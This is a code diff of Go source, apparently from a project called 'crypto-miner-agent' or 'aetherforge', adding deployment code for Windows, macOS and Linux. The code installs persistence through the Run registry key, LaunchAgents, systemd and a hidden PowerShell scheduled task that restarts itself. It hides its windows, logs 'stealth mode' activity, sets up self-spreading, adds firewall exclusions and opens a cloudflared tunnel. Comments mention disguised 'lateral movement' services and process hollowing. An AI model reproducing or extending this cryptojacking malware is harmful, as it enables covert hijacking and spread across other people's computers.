plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
|
||||
if err := os.MkdirAll(plistDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
plistPath := filepath.Join(plistDir, label+".plist")
|
||||
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key><string>%s</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array><string>%s</string><string>%s</string></array>
|
||||
<key>RunAtLoad</key><true/>
|
||||
<key>KeepAlive</key><true/>
|
||||
<key>ProcessType</key><string>Background</string>
|
||||
</dict>
|
||||
</plist>
|
||||
`, label, binPath, runFlag)
|
||||
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = exec.Command("launchctl", "load", plistPath).Run()
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.Stdin = nil
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("uname", "-sr").CombinedOutput()
|
||||
if err != nil {
|
||||
return runtime.GOOS
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
name := BinaryName(cfg)
|
||||
if runtime.GOOS == "darwin" {
|
||||
_ = exec.Command("pkill", "-f", name).Run()
|
||||
} else {
|
||||
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
|
||||
}
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
switch runtime.GOOS {
|
||||
case "darwin":
|
||||
label := "com.aetherforge." + sanitizeName(keyName)
|
||||
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
|
||||
_ = exec.Command("launchctl", "unload", plistPath).Run()
|
||||
_ = os.Remove(plistPath)
|
||||
default:
|
||||
unitName := keyName + ".service"
|
||||
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
|
||||
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
|
||||
_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
|
||||
}
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
|
||||
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
|
||||
_ = os.WriteFile(tmp, []byte(script), 0755)
|
||||
cmd := exec.Command("/bin/sh", tmp)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
102
agent/deploy/platform_windows.go
Normal file
102
agent/deploy/platform_windows.go
Normal file
@@ -0,0 +1,102 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
path, err := os.Executable()
|
||||
if err != nil {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
return filepath.Abs(path)
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedBin)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(binPath, `'`, `''`),
|
||||
runFlag,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: 0x08000000,
|
||||
}
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
||||
if err != nil {
|
||||
return "windows"
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
}
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
24
agent/deploy/priority_unix.go
Normal file
24
agent/deploy/priority_unix.go
Normal file
@@ -0,0 +1,24 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
nice := 5
|
||||
switch priority {
|
||||
case "idle":
|
||||
nice = 19
|
||||
case "below_normal":
|
||||
nice = 10
|
||||
case "normal":
|
||||
nice = 5
|
||||
case "above_normal":
|
||||
nice = 0
|
||||
case "high":
|
||||
nice = -5
|
||||
}
|
||||
return syscall.Setpriority(syscall.PRIO_PROCESS, 0, nice)
|
||||
}
|
||||
@@ -1,10 +1,11 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
@@ -26,7 +27,3 @@ func SetProcessPriority(priority string) error {
|
||||
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
72
agent/deploy/spreadkit.go
Normal file
72
agent/deploy/spreadkit.go
Normal file
@@ -0,0 +1,72 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const spreadLogName = "aetherforge-spread.log"
|
||||
|
||||
// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
|
||||
func LogSpreadError(stage string, err error) {
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
|
||||
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||
f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if openErr != nil {
|
||||
return
|
||||
}
|
||||
_, _ = f.WriteString(line)
|
||||
_ = f.Close()
|
||||
}
|
||||
|
||||
func LogSpreadInfo(msg string) {
|
||||
line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
|
||||
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _ = f.WriteString(line)
|
||||
_ = f.Close()
|
||||
}
|
||||
|
||||
func isLocalhostURL(url string) bool {
|
||||
u := strings.ToLower(strings.TrimSpace(url))
|
||||
return strings.Contains(u, "localhost") ||
|
||||
strings.Contains(u, "127.0.0.1") ||
|
||||
strings.Contains(u, "[::1]")
|
||||
}
|
||||
|
||||
const firstRunSpreadMarker = ".spread_first_run"
|
||||
|
||||
func setFirstRunSpreadMarker(installDir string) error {
|
||||
return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
|
||||
}
|
||||
|
||||
// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
|
||||
func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// ClearFirstRunSpreadMarker removes the first-run spread marker.
|
||||
func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
|
||||
}
|
||||
35
agent/deploy/tunnel.go
Normal file
35
agent/deploy/tunnel.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StartCloudflaredTunnel launches cloudflared pointing at serverURL (background).
|
||||
func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||
serverURL = strings.TrimSpace(serverURL)
|
||||
if serverURL == "" {
|
||||
return "", fmt.Errorf("server URL required")
|
||||
}
|
||||
|
||||
checkCmd := exec.Command("cloudflared", "--version")
|
||||
if err := checkCmd.Run(); err != nil {
|
||||
downloadCmd := exec.Command("powershell", "-Command",
|
||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||
}
|
||||
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
|
||||
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
|
||||
_ = exec.Command("copy", "/Y", src, dst).Run()
|
||||
}
|
||||
|
||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
||||
if err := tunnelCmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
|
||||
}
|
||||
@@ -3,61 +3,46 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// Uninstall removes persistence, stops the process, and deletes the install directory.
|
||||
func Uninstall(cfg config.RuntimeConfig) error {
|
||||
processName := cfg.EffectiveProcessName()
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, processName+".exe")
|
||||
|
||||
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run()
|
||||
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
installedBin, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
|
||||
killWorkerProcess(cfg)
|
||||
removePersistence(cfg)
|
||||
RemoveFirewallExclusion(cfg)
|
||||
|
||||
// Clean up potential lateral movement services
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
|
||||
// Self-uninstall: spawn cleanup then exit.
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
|
||||
selfUninstallSpawn(installDir)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if err := os.RemoveAll(installDir); err != nil {
|
||||
return fmt.Errorf("remove install dir: %w", err)
|
||||
}
|
||||
|
||||
// If the agent is running in memory (Process Hollowing), it won't be killed
|
||||
// by the taskkill command above. We must explicitly terminate the thread.
|
||||
os.Exit(0)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// EnsureFirewallExclusion is implemented per platform.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
platformEnsureFirewall(cfg, binPath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion is implemented per platform.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
platformRemoveFirewall(cfg)
|
||||
}
|
||||
Reference in New Issue
Block a user